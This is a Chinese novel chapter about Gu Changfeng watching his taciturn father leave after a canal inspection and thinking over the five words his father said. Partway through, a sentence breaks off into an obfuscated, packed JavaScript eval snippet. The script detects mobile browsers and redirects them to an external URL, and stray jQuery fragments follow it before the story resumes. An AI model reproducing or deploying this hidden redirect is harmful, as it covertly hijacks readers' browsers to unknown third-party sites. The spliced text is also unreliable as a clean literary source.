第40章「父亲的背影」
顾长风站在渠边，一直站到那个背影看不见为止。
那个人先是沿着河堤走的。步子是稳的，不快，每一步落地的时间间隔都差不多，皮鞋踩在水泥护坡上的声音被风声削薄了，隔了二十步就听不见了。走到水渠尽头的时候，他停了一步——很短的一步，像是被什么拽住了衣角又松开了。他抬手压了一下帽檐，是遮太阳，还是擦了一下额头，顾长风没有看清。然后他拐上了通往镇上的那条土路。杨树在路两旁排着，间距不均匀，有的近些有的远些，他的背影在树干之间一截一截地出现又消失，像是一段被剪成碎片的影像在反复播放。顾长风数着他经过的树，第一棵，第二棵，第三棵——第三棵杨树后面，他没有再出来。
顾长风的下巴还朝着那个方向。风从运河那边吹过来，把他的头发掀起来又落下去，掀起来又落下去，像什么细小的东西正在反复地、轻缓地翻动着他头顶的表面。他的手指搭在水渠的护坡石上，石面被太阳晒了一整天，还带着余温，压着他的指腹。那块石头是方形的，边缘被水泥固定着，他的手指就停在它和相邻石头之间的缝隙边沿，指尖微微陷入那条缝里，像是要确认那道缝隙的宽度和形状是不是和自己记忆中的一致。
那五个字还在他耳朵里。卡着。不深，但咽不下去。像什么粗糙的东西堵在耳道口，不疼，但持续存在，每一次呼吸都能感觉到它的存在。"瘦了。也硬了。"一共五个字，中间停了一拍，分两截出来的。每一截都短，短的反而比长的话更难接。他试着回想上一次他爹跟他说话超过五个字是什么时候——是那封挂号信里的"好自为之"四个字，比今晚的还少一个。再上一次，是他考上大学那天他爹站在院子门口说"自己选的路，走不下去别回来哭"，那是一个整句，十几个字，比今晚的多。但今晚这五个字落下来的时候，他掂了掂，那十几个字加起来也没有这五个字压手。它们像是被压扁了之后叠在一起放进来的，五个字摞成那么小的一团，密度却比任何一句话都大，像是有什么东西正从内部向外缓慢膨胀，却又被那五个字严丝合缝地包裹着，找不到出口。
他转过身来，撞见赵晓雷蹲在工棚门口抽烟。赵晓雷不会抽烟——烟在他指间夹着，火星烧了半根都没往嘴里送过。那根烟的灰积了很长一截，微微弯着，像是随时会断。他看见顾长风转过身来，把烟掐了，烟头在泥地上碾了一下。"走了？"顾长风点了点头。他走过去在赵晓雷旁边蹲下来，两人面朝着运河的方向。暮色正从河面上浮起来，那层橘色先贴着水面的边缘，然后一点一点地往上升，像是水本身正在慢慢地透出颜色来。赵晓雷沉默了一会儿。他没有问顾长风今晚为什么会这样，他只是蹲在那里，过了一会儿才开口，声音不高不低："你小时候你爹也这样？"
顾长风没有立刻回答。他想起七岁那年，他爹从军工厂回来，穿着一件深灰色的旧军装，领口的扣子扣到最上面那颗。大院里有人在放鞭炮，噼里啪啦的，碎红纸屑从空中落下来。他爹站在人群外面，两只手背在身后，站得笔直，像一根被钉在地面上的铁桩。他跑过去，从侧面伸手去拉他爹的手。他摸到了他爹的手指——硬，凉，指腹上有厚茧。他攥紧了。他爹低头看了他一眼，那一眼很短，然后把手抽了出来，说了一声"去玩"。他爹的背影比现在宽一些，那时候肩膀上的肉还满着，灰军装的肩部绷着，像两块压平了的铁板，肩线处的布料因为被肩膀撑开而微微发亮。
"差不多。"顾长风说。他的声音不高，像是从喉咙深处慢慢放出来的。"就这个样。"赵晓雷蹲在旁边，他的影子被暮色拉长了，斜斜地铺在河堤的泥地上。他把烟头弹进了河边的泥里，烟头在触地的时候又冒了一小缕青烟，然后灭了。"你爹说'瘦了，也硬了'。"他重复了一遍，语气平得像在念什么已经被安排好的注意事项。"这不算夸吧？才五个字。"顾长风笑了一下。嘴角的弧度在水面最后一层橘色光里弯着，那道光把他的侧脸从下巴到颧骨染成了一种暖色调。"五个字，"他说，"够我活半辈子了。"他说完这句话之后没有立刻收声，像是正在等待它被风吹散，或者被谁重新捡起、
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17980254|214810||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
重新安放。
他站起来，拍了拍膝盖上的土灰，然后站在河堤上又朝那个方向看了一眼——那个方向现在只剩下最后一层浅橘色的光贴着水面，像是一页纸即将被翻过之前最后那一小片被照亮的部分，已经没有任何具体的形状了。运河的风从水面上来，从那些波纹的间隙里穿过，带着泥沙和芦苇的气息。他觉得那五个字还在耳朵里，但卡得没有那么紧了。像是有什么东西被水冲松了一些，没掉，但不再硌了。他站了一会儿，然后转身走回了工棚。
那天晚上之后，他的工作证夹层里多了一张照片。照片不是他放的。不知道是谁拍的——验收现场人多，有人拿着相机在主席台附近走动，拍完就收走了。他是在第二天早上穿工作服的时候发现它的：他把证件从外套内袋里抽出来，翻开塑料封套，一张照片从里面滑出来，落在了他的膝盖上。照片上的背影他认得——军装，笔挺，肩线处的布料压得平整，领口的扣子扣齐了。那人背对着镜头，正看着前面那条十二公里的水渠。照片是从侧面稍远的地方拍的，距离大约二三十步，他的帽檐压得很低，看不清帽檐下有没有表情。他把照片看了很久，然后用拇指沿着照片的边沿走了一圈，把它放进了工作证正面的透明夹层里，压在自己名字的那一行上面。证件合上之后，那个背影隔着塑料封皮和他的名字叠在一起，像是正在确认彼此的位置，等待被重新打开。
赵晓雷后来问过他一次，那张照片是谁放的。他说不知道，可能是验收现场的宣传员拍剩下的。赵晓雷看了他一眼，没有追问。两个人继续蹲在工棚门口吃晚饭，外面的风把运河的水面吹皱了一层，河面上映着的晚霞碎成很多片，每片都在浮动。那些碎片没有重新合拢的意思，只是各自沿着水流的纹路漂移着。风穿过它们的间隙，让每一片边缘都在轻微地发生着位移，像是正在被推向不同的目的地。顾长风把碗里的最后一口饭吃完，搁下筷子的时候没有抬头，他的手指在那叠合的照片上方停留了片刻，像是在重新确认那道声线的轮廓，并等待它逐渐加深，融入照片背后那道薄薄的阴影里。